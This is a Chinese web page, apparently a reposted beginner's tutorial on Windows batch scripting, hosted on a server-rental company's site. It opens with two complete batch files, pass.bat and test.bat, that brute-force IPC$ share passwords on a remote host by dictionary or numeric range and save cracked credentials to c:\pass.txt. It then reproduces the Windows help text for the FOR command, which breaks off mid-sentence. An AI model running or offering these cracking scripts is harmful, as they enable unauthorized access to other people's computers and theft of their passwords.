批处理经典入门教程!(从不懂到高手)第1/5页
作者 佚名
来源 批处理
浏览
发布时间 2013-07-09
1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名 2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名 密码破解出来之后,存放于c:\pass.txt文件里面。 将下列代码存为pass.bat文件 复制代码 代码如下: @echo off echo ------------------------------------------------------------------- >>c:\pass.txt echo ------------------------------------------------------------------- >>c:\pass.txt date /t >>c:\pass.txt time /t >>c:\pass.txt echo 破解结果: >>c:\pass.txt if "%6"=="1" goto 大棒槌是我的说2 :大棒槌是我的说1 start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 goto quit :大棒槌是我的说2 start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 :quit 将下列代码存为test.bat net use \\%1\ipc$ %2 /user:"%3" goto answer%ERRORLEVEL% rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2 :answer0 echo 远程主机:"%1" >>c:\pass.txt echo 用 户:"%3" >>c:\pass.txt echo 密 码:%2 >>c:\pass.txt net use \\%1\ipc$ /delet exit :answer2 For 对一组文件中的每个文件运行指定的命令。 可以在批处理程序中或直接从命令提示符使用 for 命令。 要在批处理程序中使用 for 命令,请使用以下语法: for %%variable in (set) docommand [command-parameters] 要在命令提示符下使用 for,请使用以下语法: for %variable in (set) do command [command-parameters] 参数 %%variable 或 %variable 代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在command-parameters 中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。 (set) 指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。 command 指定要在指定的 set 所包含的每个文件上执行的命令。 command-parameters 指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。 如果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式。 For 命令的其他形式 如果启用了命令扩展,将支持如下 for 命令的其他格式: 只限于目录 for /D [%% | %]variable in (set) docommand [command-parameters] 如果 set 包含通配符(* 和 ?),则指定与目录名匹配,而不是文件名。 递归 for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters] 进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。 迭代 for /L [%% | %]variable in (start,step,end) do command [command-parameters] 集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。 文件解析 for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters] for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters] for /F ["options"] [%% | %]variable in (''command'') do command [command-parameters] 或者,如果出现 usebackq 选项: for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters] for /F ["options"] [%% | %]va |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
上一篇: 又一篇不错的批处理bat学习教程第1/5页下一篇: 妙用脚本和批处理清除电脑中的痕迹
关于批处理经典入门教程!(从不懂到高手)第1/5页的所有评论